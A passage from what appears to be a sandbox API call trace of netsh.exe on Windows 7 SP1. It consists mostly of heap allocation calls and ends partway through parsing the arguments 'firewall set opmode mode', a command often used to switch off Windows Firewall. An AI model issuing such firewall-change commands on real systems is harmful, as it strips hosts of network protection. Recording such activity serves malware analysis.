Size=0x1238) returned 0x42e1c0 [0253.096] GetProcessHeap () returned 0x3d0000 [0253.096] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42cfd0 | out: hHeap=0x3d0000) returned 1 [0253.096] RegisterHelper () returned 0x0 [0253.096] GetProcessHeap () returned 0x3d0000 [0253.097] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1290) returned 0x42f400 [0253.097] GetProcessHeap () returned 0x3d0000 [0253.097] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42e1c0 | out: hHeap=0x3d0000) returned 1 [0253.097] RegCloseKey (hKey=0x90) returned 0x0 [0253.097] GetProcessHeap () returned 0x3d0000 [0253.097] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f4260 | out: hHeap=0x3d0000) returned 1 [0253.097] GetProcessHeap () returned 0x3d0000 [0253.097] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ee0a0 | out: hHeap=0x3d0000) returned 1 [0253.098] GetProcessHeap () returned 0x3d0000 [0253.098] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fdf10 [0253.098] GetProcessHeap () returned 0x3d0000 [0253.098] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.098] RegisterContext () returned 0x0 [0253.100] GetProcessHeap () returned 0x3d0000 [0253.100] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fdf90 [0253.100] GetProcessHeap () returned 0x3d0000 [0253.100] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.225] RegisterContext () returned 0x0 [0253.226] GetProcessHeap () returned 0x3d0000 [0253.226] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe010 [0253.226] GetProcessHeap () returned 0x3d0000 [0253.226] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.226] RegisterContext () returned 0x0 [0253.227] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0253.227] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0253.227] GetProcessHeap () returned 0x3d0000 [0253.227] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41a5a0 [0253.227] GetProcessHeap () returned 0x3d0000 [0253.227] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fe010 | out: hHeap=0x3d0000) returned 1 [0253.227] RegisterContext () returned 0x0 [0253.228] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0253.229] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8 [0253.229] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0253.229] GetProcessHeap () returned 0x3d0000 [0253.229] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x418c50 [0253.229] GetProcessHeap () returned 0x3d0000 [0253.229] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41a5a0 | out: hHeap=0x3d0000) returned 1 [0253.229] RegisterContext () returned 0x0 [0253.230] GetProcessHeap () returned 0x3d0000 [0253.230] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1c0) returned 0x42ae40 [0253.230] GetProcessHeap () returned 0x3d0000 [0253.230] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x418c50 | out: hHeap=0x3d0000) returned 1 [0253.230] RegisterContext () returned 0x0 [0253.230] GetProcessHeap () returned 0x3d0000 [0253.230] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41a5a0 [0253.230] GetProcessHeap () returned 0x3d0000 [0253.230] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fdf90 | out: hHeap=0x3d0000) returned 1 [0253.231] RegisterContext () returned 0x0 [0253.231] GetProcessHeap () returned 0x3d0000 [0253.231] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x418c50 [0253.231] GetProcessHeap () returned 0x3d0000 [0253.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41a5a0 | out: hHeap=0x3d0000) returned 1 [0253.231] RegisterContext () returned 0x0 [0253.231] GetProcessHeap () returned 0x3d0000 [0253.231] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1c0) returned 0x42b290 [0253.231] GetProcessHeap () returned 0x3d0000 [0253.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x418c50 | out: hHeap=0x3d0000) returned 1 [0253.231] RegisterContext () returned 0x0 [0253.231] GetProcessHeap () returned 0x3d0000 [0253.231] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x230) returned 0x42b460 [0253.231] GetProcessHeap () returned 0x3d0000 [0253.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b290 | out: hHeap=0x3d0000) returned 1 [0253.233] RegisterContext () returned 0x0 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2a0) returned 0x42b6a0 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b460 | out: hHeap=0x3d0000) returned 1 [0253.233] RegisterContext () returned 0x0 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x310) returned 0x42b290 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b6a0 | out: hHeap=0x3d0000) returned 1 [0253.233] RegisterContext () returned 0x0 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fdf90 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.233] RegisterContext () returned 0x0 [0253.233] GetProcessHeap () returned 0x3d0000 [0253.233] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41a5a0 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fdf90 | out: hHeap=0x3d0000) returned 1 [0253.234] RegisterContext () returned 0x0 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.234] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x418c50 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41a5a0 | out: hHeap=0x3d0000) returned 1 [0253.234] RegisterContext () returned 0x0 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.234] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1c0) returned 0x42b5b0 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x418c50 | out: hHeap=0x3d0000) returned 1 [0253.234] RegisterContext () returned 0x0 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.234] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x380) returned 0x42b780 [0253.234] GetProcessHeap () returned 0x3d0000 [0253.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b290 | out: hHeap=0x3d0000) returned 1 [0253.235] RegisterContext () returned 0x0 [0253.235] GetProcessHeap () returned 0x3d0000 [0253.235] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x3f0) returned 0x42bb10 [0253.235] GetProcessHeap () returned 0x3d0000 [0253.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b780 | out: hHeap=0x3d0000) returned 1 [0253.235] RegisterContext () returned 0x0 [0253.235] GetProcessHeap () returned 0x3d0000 [0253.235] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x460) returned 0x436330 [0253.235] GetProcessHeap () returned 0x3d0000 [0253.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42bb10 | out: hHeap=0x3d0000) returned 1 [0253.235] RegisterContext () returned 0x0 [0253.235] GetProcessHeap () returned 0x3d0000 [0253.235] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4d0) returned 0x42b780 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x436330 | out: hHeap=0x3d0000) returned 1 [0253.236] RegisterContext () returned 0x0 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fdf90 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.236] RegisterContext () returned 0x0 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41a5a0 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fdf90 | out: hHeap=0x3d0000) returned 1 [0253.236] RegisterContext () returned 0x0 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x418c50 [0253.236] GetProcessHeap () returned 0x3d0000 [0253.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41a5a0 | out: hHeap=0x3d0000) returned 1 [0253.236] RegisterContext () returned 0x0 [0253.237] GetProcessHeap () returned 0x3d0000 [0253.237] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1c0) returned 0x42b290 [0253.237] GetProcessHeap () returned 0x3d0000 [0253.237] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x418c50 | out: hHeap=0x3d0000) returned 1 [0253.237] RegisterContext () returned 0x0 [0253.237] GetProcessHeap () returned 0x3d0000 [0253.237] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x230) returned 0x42bc60 [0253.237] GetProcessHeap () returned 0x3d0000 [0253.237] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b290 | out: hHeap=0x3d0000) returned 1 [0253.237] RegisterContext () returned 0x0 [0253.237] GetProcessHeap () returned 0x3d0000 [0253.237] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2a0) returned 0x42b290 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42bc60 | out: hHeap=0x3d0000) returned 1 [0253.238] RegisterContext () returned 0x0 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fdf90 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.238] RegisterContext () returned 0x0 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41a5a0 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fdf90 | out: hHeap=0x3d0000) returned 1 [0253.238] RegisterContext () returned 0x0 [0253.238] RegisterContext () returned 0x0 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x310) returned 0x42bc60 [0253.238] GetProcessHeap () returned 0x3d0000 [0253.238] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b290 | out: hHeap=0x3d0000) returned 1 [0253.238] RegisterContext () returned 0x0 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x380) returned 0x436330 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42bc60 | out: hHeap=0x3d0000) returned 1 [0253.239] RegisterContext () returned 0x0 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x540) returned 0x4366c0 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b780 | out: hHeap=0x3d0000) returned 1 [0253.239] RegisterContext () returned 0x0 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x5b0) returned 0x42b780 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4366c0 | out: hHeap=0x3d0000) returned 1 [0253.239] RegisterContext () returned 0x0 [0253.239] GetProcessHeap () returned 0x3d0000 [0253.239] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x620) returned 0x4366c0 [0253.240] GetProcessHeap () returned 0x3d0000 [0253.240] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b780 | out: hHeap=0x3d0000) returned 1 [0253.240] RegisterContext () returned 0x0 [0253.240] GetProcessHeap () returned 0x3d0000 [0253.240] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fdf90 [0253.240] GetProcessHeap () returned 0x3d0000 [0253.240] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.240] RegisterContext () returned 0x0 [0253.240] GetProcessHeap () returned 0x3d0000 [0253.240] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x690) returned 0x42b780 [0253.240] GetProcessHeap () returned 0x3d0000 [0253.240] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4366c0 | out: hHeap=0x3d0000) returned 1 [0253.292] RegisterContext () returned 0x0 [0253.293] GetProcessHeap () returned 0x3d0000 [0253.293] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x700) returned 0x440860 [0253.293] GetProcessHeap () returned 0x3d0000 [0253.293] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42b780 | out: hHeap=0x3d0000) returned 1 [0253.416] RegisterContext () returned 0x0 [0253.416] GetProcessHeap () returned 0x3d0000 [0253.416] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe390 [0253.416] GetProcessHeap () returned 0x3d0000 [0253.416] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.425] RegisterContext () returned 0x0 [0253.425] GetProcessHeap () returned 0x3d0000 [0253.425] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41ab40 [0253.425] GetProcessHeap () returned 0x3d0000 [0253.425] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fe390 | out: hHeap=0x3d0000) returned 1 [0253.425] RegisterContext () returned 0x0 [0253.425] GetProcessHeap () returned 0x3d0000 [0253.425] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x770) returned 0x456400 [0253.426] GetProcessHeap () returned 0x3d0000 [0253.426] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x440860 | out: hHeap=0x3d0000) returned 1 [0253.426] RegisterContext () returned 0x0 [0253.426] GetProcessHeap () returned 0x3d0000 [0253.426] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe390 [0253.426] GetProcessHeap () returned 0x3d0000 [0253.426] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.426] RegisterContext () returned 0x0 [0253.426] GetProcessHeap () returned 0x3d0000 [0253.426] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x41ac30 [0253.426] GetProcessHeap () returned 0x3d0000 [0253.426] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fe390 | out: hHeap=0x3d0000) returned 1 [0253.426] RegisterContext () returned 0x0 [0253.426] RegisterContext () returned 0x0 [0253.426] RegisterContext () returned 0x0 [0253.427] GetProcessHeap () returned 0x3d0000 [0253.427] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x7e0) returned 0x456b80 [0253.428] GetProcessHeap () returned 0x3d0000 [0253.428] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456400 | out: hHeap=0x3d0000) returned 1 [0253.428] RegisterContext () returned 0x0 [0253.428] GetProcessHeap () returned 0x3d0000 [0253.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x850) returned 0x457370 [0253.428] GetProcessHeap () returned 0x3d0000 [0253.428] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456b80 | out: hHeap=0x3d0000) returned 1 [0253.429] RegisterContext () returned 0x0 [0253.429] GetProcessHeap () returned 0x3d0000 [0253.429] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8c0) returned 0x456400 [0253.429] GetProcessHeap () returned 0x3d0000 [0253.429] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x457370 | out: hHeap=0x3d0000) returned 1 [0253.429] RegisterContext () returned 0x0 [0253.429] GetProcessHeap () returned 0x3d0000 [0253.429] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe390 [0253.429] GetProcessHeap () returned 0x3d0000 [0253.429] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.430] RegisterContext () returned 0x0 [0253.430] GetProcessHeap () returned 0x3d0000 [0253.430] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x456d00 [0253.432] GetProcessHeap () returned 0x3d0000 [0253.432] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fe390 | out: hHeap=0x3d0000) returned 1 [0253.433] RegisterContext () returned 0x0 [0253.433] GetProcessHeap () returned 0x3d0000 [0253.433] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x440860 [0253.433] GetProcessHeap () returned 0x3d0000 [0253.433] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456d00 | out: hHeap=0x3d0000) returned 1 [0253.433] RegisterContext () returned 0x0 [0253.433] GetProcessHeap () returned 0x3d0000 [0253.433] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1c0) returned 0x4409c0 [0253.433] GetProcessHeap () returned 0x3d0000 [0253.433] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x440860 | out: hHeap=0x3d0000) returned 1 [0253.433] RegisterContext () returned 0x0 [0253.433] GetProcessHeap () returned 0x3d0000 [0253.433] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe390 [0253.433] GetProcessHeap () returned 0x3d0000 [0253.433] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.433] RegisterContext () returned 0x0 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x456d00 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3fe390 | out: hHeap=0x3d0000) returned 1 [0253.434] RegisterContext () returned 0x0 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x440860 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456d00 | out: hHeap=0x3d0000) returned 1 [0253.434] RegisterContext () returned 0x0 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe390 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.434] RegisterContext () returned 0x0 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe410 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.434] RegisterContext () returned 0x0 [0253.434] GetProcessHeap () returned 0x3d0000 [0253.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x930) returned 0x458cd0 [0253.435] GetProcessHeap () returned 0x3d0000 [0253.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456400 | out: hHeap=0x3d0000) returned 1 [0253.435] RegisterContext () returned 0x0 [0253.435] GetProcessHeap () returned 0x3d0000 [0253.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x9a0) returned 0x459610 [0253.435] GetProcessHeap () returned 0x3d0000 [0253.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x458cd0 | out: hHeap=0x3d0000) returned 1 [0253.463] RegisterContext () returned 0x0 [0253.464] GetProcessHeap () returned 0x3d0000 [0253.464] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa10) returned 0x45ebc0 [0253.464] GetProcessHeap () returned 0x3d0000 [0253.464] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x459610 | out: hHeap=0x3d0000) returned 1 [0253.464] RegisterContext () returned 0x0 [0253.464] GetProcessHeap () returned 0x3d0000 [0253.464] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x70) returned 0x3fe590 [0253.464] GetProcessHeap () returned 0x3d0000 [0253.464] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0253.464] SetConsoleCtrlHandler (HandlerRoutine=0x13d9198, Add=1) returned 1 [0253.464] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77970000 [0253.465] GetProcAddress (hModule=0x77970000, lpProcName="SetThreadUILanguage") returned 0x77986d40 [0253.465] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0253.475] FreeLibrary (hLibModule=0x77970000) returned 1 [0253.475] _wcsicmp (_String1="firewall", _String2="-?") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-h") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="?") returned 39 [0253.476] _wcsicmp (_String1="firewall", _String2="/?") returned 55 [0253.476] _wcsicmp (_String1="firewall", _String2="-v") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-a") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-c") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-f") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-r") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-u") returned 57 [0253.476] _wcsicmp (_String1="firewall", _String2="-p") returned 57 [0253.476] GetVersionExW (in: lpVersionInformation=0x247820*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x247820*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.476] _vsnwprintf (in: _Buffer=0x13e5b80, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0x2477e8 | out: _Buffer="6.1.7601") returned 8 [0253.476] _vsnwprintf (in: _Buffer=0x13e5fa0, _BufferCount=0x103, _Format="%d", _ArgList=0x2477e8 | out: _Buffer="7601") returned 4 [0253.476] _vsnwprintf (in: _Buffer=0x13e5d90, _BufferCount=0x103, _Format="%d", _ArgList=0x2477e8 | out: _Buffer="1") returned 1 [0253.476] _vsnwprintf (in: _Buffer=0x13e61b0, _BufferCount=0x103, _Format="%d", _ArgList=0x2477e8 | out: _Buffer="0") returned 1 [0253.476] GetProcessHeap () returned 0x3d0000 [0253.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a410 [0253.476] GetProcessHeap () returned 0x3d0000 [0253.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a430 [0253.476] GetProcessHeap () returned 0x3d0000 [0253.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x44a450 [0253.476] GetProcessHeap () returned 0x3d0000 [0253.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a470 [0253.476] GetProcessHeap () returned 0x3d0000 [0253.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x44a490 [0253.477] wcscpy_s (in: _Destination=0x44a490, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a450 | out: hHeap=0x3d0000) returned 1 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a430 | out: hHeap=0x3d0000) returned 1 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a430 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a450 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x42) returned 0x43d3c0 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a4b0 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x44a4d0 [0253.477] wcscpy_s (in: _Destination=0x44a4d0, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f610 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x41ee90 [0253.477] wcscpy_s (in: _Destination=0x41ee90, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f630 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe) returned 0x45f650 [0253.477] wcscpy_s (in: _Destination=0x45f650, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.477] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f670 [0253.477] GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa) returned 0x45f690 [0253.478] wcscpy_s (in: _Destination=0x45f690, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f6b0 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x41eeb0 [0253.478] wcscpy_s (in: _Destination=0x41eeb0, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f6d0 [0253.478] 